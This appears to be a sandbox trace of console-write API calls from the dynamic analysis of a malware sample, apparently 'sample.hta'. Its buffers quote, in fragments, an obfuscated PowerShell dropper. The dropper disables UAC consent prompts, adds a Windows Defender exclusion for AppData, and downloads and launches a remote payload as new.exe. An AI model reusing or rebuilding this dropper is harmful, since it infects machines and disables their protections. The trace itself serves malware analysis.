|
WriteConsoleW
|
buffer:
The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function
console_handle:
0x00000023
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
, script file, or operable program. Check the spelling of the name, or if a pat
console_handle:
0x0000002f
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
h was included, verify that the path is correct and try again.
console_handle:
0x0000003b
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
At line:1 char:1318
console_handle:
0x00000047
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
+ function wPteUlwSl($qhjsuSd, $vgEFwpxboUPauFSM){[IO.File]::WriteAllBytes($qhj
console_handle:
0x00000053
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
suSd, $vgEFwpxboUPauFSM)};function ZnrSgmqbPVfjB($qhjsuSd){if($qhjsuSd.EndsWith
console_handle:
0x0000005f
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
((dKWlQUWuijH @(33587,33641,33649,33649))) -eq $True){rundll32.exe $qhjsuSd }el
console_handle:
0x0000006b
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
seif($qhjsuSd.EndsWith((dKWlQUWuijH @(33587,33653,33656,33590))) -eq $True){pow
console_handle:
0x00000077
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
ershell.exe -ExecutionPolicy unrestricted -File $qhjsuSd}elseif($qhjsuSd.EndsWi
console_handle:
0x00000083
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
th((dKWlQUWuijH @(33587,33650,33656,33646))) -eq $True){misexec /qn /i $qhjsuSd
console_handle:
0x0000008f
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
}else{Start-Process $qhjsuSd}};function RRqzVWXfYUJFDAwJpdp($bJOaLKsoekvRrDkAPw
console_handle:
0x0000009b
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
q){$FtxzLgTFTlTLhRsI = New-Object (dKWlQUWuijH @(33619,33642,33657,33587,33628,
console_handle:
0x000000a7
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
33642,33639,33608,33649,33646,33642,33651,33657));[Net.ServicePointManager]::Se
console_handle:
0x000000b3
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
curityProtocol = [Net.SecurityProtocolType]::TLS12;$vgEFwpxboUPauFSM = $FtxzLgT
console_handle:
0x000000bf
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
FTlTLhRsI.DownloadData($bJOaLKsoekvRrDkAPwq);return $vgEFwpxboUPauFSM};function
console_handle:
0x000000cb
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
dKWlQUWuijH($xDrfpdisvcDSC){$SzhMyYwdKDtrEZC=33541;$LZOAyvnxYRB=$Null;foreach(
console_handle:
0x000000d7
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
$bKFEidACAllzisv in $xDrfpdisvcDSC){$LZOAyvnxYRB+=[char]($bKFEidACAllzisv-$SzhM
console_handle:
0x000000e3
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
yYwdKDtrEZC)};return $LZOAyvnxYRB};function enAxnkDfhW(){$OCTHfCJvxwmY = $env:A
console_handle:
0x000000ef
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
ppData + '\';Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Micro
console_handle:
0x000000fb
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
soft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -V
console_handle:
0x00000107
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
alue 0;$xsXesBDGtNXaQjqb=$env:AppData; Add-MpPreference <<<< -ExclusionPath $x
console_handle:
0x00000113
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
sXesBDGtNXaQjqb;$obJQIBqPB = $OCTHfCJvxwmY + 'new.exe'; if (Test-Path -Path $ob
console_handle:
0x0000011f
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
JQIBqPB){ZnrSgmqbPVfjB $obJQIBqPB;}Else{ $bPZFpQO = RRqzVWXfYUJFDAwJpdp (dKWlQU
console_handle:
0x0000012b
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
WuijH @(33645,33657,33657,33653,33599,33588,33588,33591,33590,33589,33587,33594
console_handle:
0x00000137
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
33642,33661,33642));wPteUlwSl $obJQIBqPB $bPZFpQO;ZnrSgmqbPVfjB $obJQIBqPB;};;;
console_handle:
0x0000014f
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
;}enAxnkDfhW; uac
console_handle:
0x0000015b
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
+ CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co
console_handle:
0x00000167
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
mmandNotFoundException
console_handle:
0x00000173
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
+ FullyQualifiedErrorId : CommandNotFoundException
console_handle:
0x0000017f
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
Exception setting "SecurityProtocol": "Cannot convert null to type "System.Net.
console_handle:
0x0000019f
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
SecurityProtocolType" due to invalid enumeration values. Specify one of the fol
console_handle:
0x000001ab
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
lowing enumeration values and try again. The possible enumeration values are "S
console_handle:
0x000001b7
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
sl3, Tls"."
console_handle:
0x000001c3
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
At line:1 char:708
console_handle:
0x000001cf
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
+ function wPteUlwSl($qhjsuSd, $vgEFwpxboUPauFSM){[IO.File]::WriteAllBytes($qhj
console_handle:
0x000001db
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
suSd, $vgEFwpxboUPauFSM)};function ZnrSgmqbPVfjB($qhjsuSd){if($qhjsuSd.EndsWith
console_handle:
0x000001e7
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
((dKWlQUWuijH @(33587,33641,33649,33649))) -eq $True){rundll32.exe $qhjsuSd }el
console_handle:
0x000001f3
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
seif($qhjsuSd.EndsWith((dKWlQUWuijH @(33587,33653,33656,33590))) -eq $True){pow
console_handle:
0x000001ff
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
ershell.exe -ExecutionPolicy unrestricted -File $qhjsuSd}elseif($qhjsuSd.EndsWi
console_handle:
0x0000020b
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
th((dKWlQUWuijH @(33587,33650,33656,33646))) -eq $True){misexec /qn /i $qhjsuSd
console_handle:
0x00000217
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
}else{Start-Process $qhjsuSd}};function RRqzVWXfYUJFDAwJpdp($bJOaLKsoekvRrDkAPw
console_handle:
0x00000223
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
q){$FtxzLgTFTlTLhRsI = New-Object (dKWlQUWuijH @(33619,33642,33657,33587,33628,
console_handle:
0x0000022f
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
33642,33639,33608,33649,33646,33642,33651,33657));[Net.ServicePointManager]:: <
console_handle:
0x0000023b
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
<<< SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$vgEFwpxboUPauFSM = $F
console_handle:
0x00000247
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
txzLgTFTlTLhRsI.DownloadData($bJOaLKsoekvRrDkAPwq);return $vgEFwpxboUPauFSM};fu
console_handle:
0x00000253
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
nction dKWlQUWuijH($xDrfpdisvcDSC){$SzhMyYwdKDtrEZC=33541;$LZOAyvnxYRB=$Null;fo
console_handle:
0x0000025f
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
reach($bKFEidACAllzisv in $xDrfpdisvcDSC){$LZOAyvnxYRB+=[char]($bKFEidACAllzisv
console_handle:
0x0000026b
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
-$SzhMyYwdKDtrEZC)};return $LZOAyvnxYRB};function enAxnkDfhW(){$OCTHfCJvxwmY =
console_handle:
0x00000277
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
$env:AppData + '\';Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software
console_handle:
0x00000283
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAd
console_handle:
0x0000028f
|
1
|
1 |
0
|
sample.hta